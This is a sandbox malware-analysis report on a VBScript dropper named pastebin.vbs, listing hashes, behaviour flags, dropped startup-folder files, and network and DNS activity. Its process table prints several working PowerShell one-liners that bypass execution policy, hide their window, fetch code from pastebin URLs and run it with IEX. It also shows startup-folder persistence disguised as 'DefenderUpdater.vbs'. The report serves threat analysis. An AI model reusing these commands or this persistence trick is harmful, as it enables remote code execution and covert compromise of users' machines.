analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

pastebin.vbs

Full analysis: https://app.any.run/tasks/ca617851-eb74-47aa-9ff3-bb3ed36afefa
Verdict: Malicious activity
Analysis date: October 14, 2019, 18:20:59
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

783DC5DB24E52BB48A46302D74469076

SHA1:

47A5F6D89CED9DF09DCD8FEFDBAFBBB6099347CB

SHA256:

0DDBC93151AD54E112D32A11899A45B0C2E9940DF9B600DD062B7B0815280A34

SSDEEP:

24:/RHRjC+PGnWxLc9WhA9tPNAONAuq3Er5L81WqKj2SVNR5r/81WqKj2Sh8vgpLdx3:/bjbSE6wA9pNAONAu/r5L81WqKSSVT5h

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3880)
      • cmd.exe (PID: 1244)

    • Writes to a start menu file

      • WScript.exe (PID: 2092)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2748)
      • powershell.exe (PID: 1484)
      • WScript.exe (PID: 2092)

    • Application launched itself

      • WScript.exe (PID: 2092)

    • Executes scripts

      • WScript.exe (PID: 2092)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2336)
      • WScript.exe (PID: 2132)

  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 2748)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
7
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe wscript.exe no specs wscript.exe no specs cmd.exe no specs powershell.exe cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2092"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\pastebin.vbs"C:\Windows\System32\WScript.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2132"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DefenderUpdater.vbs" C:\Windows\System32\WScript.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2336"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbs.vbs" C:\Windows\System32\WScript.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
1244"C:\Windows\System32\cmd.exe" /c Powershell -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.downloadString('https://pastebin.com/raw/Gs48iS1i'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exitC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2748Powershell -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.downloadString('https://pastebin.com/raw/Gs48iS1i'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exitC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3880"C:\Windows\System32\cmd.exe" /c Powershell -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.DownloadString('https://pastebin.com/raw/5hjnPXNw'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exitC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1484Powershell -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.DownloadString('https://pastebin.com/raw/5hjnPXNw'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exitC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 234
Read events
1 065
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
4
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
2748powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F9BT5KJ8FXI73SBO4E9F.temp —
MD5:—
SHA256:—
1484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\92PGEG20JI9R3BF0FPY9.temp —
MD5:—
SHA256:—
2092WScript.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DefenderUpdater.vbstext
MD5:BBA0FD8ABE0E9A52A42A932DBFFA0BDF
SHA256:3AAEB3B119D2D9EF0E754AC9A2BB8765ADA19C905564AF875D6E85E703A803F3
1484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39afa3.TMPbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2748powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39af17.TMPbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2748powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2092WScript.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbs.vbstext
MD5:24D9B13BF10CD8CE6464FD7016751AC3
SHA256:0B1172E7E59545F26BA4158B30ADA1FE3239F622AD116E421029B4714514F6CA
1484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
6
DNS requests
5
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1484
powershell.exe
104.22.3.84:443
pastebin.com
Cloudflare Inc
US
shared
2092
WScript.exe
163.172.46.38:443
1.top4top.net
Online S.a.s.
FR
unknown
2748
powershell.exe
104.22.3.84:443
pastebin.com
Cloudflare Inc
US
shared
1484
powershell.exe
163.172.58.164:443
4.top4top.net
Online S.a.s.
FR
unknown
2092
WScript.exe
163.172.58.164:443
4.top4top.net
Online S.a.s.
FR
unknown
2748
powershell.exe
163.172.212.106:443
5.top4top.net
Online S.a.s.
NL
unknown

DNS requests

Domain
IP
Reputation
1.top4top.net
  • 163.172.46.38
suspicious
4.top4top.net
  • 163.172.58.164
suspicious
pastebin.com
  • 104.22.3.84
  • 104.22.2.84
shared
5.top4top.net
  • 163.172.212.106
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
pastebin.vbs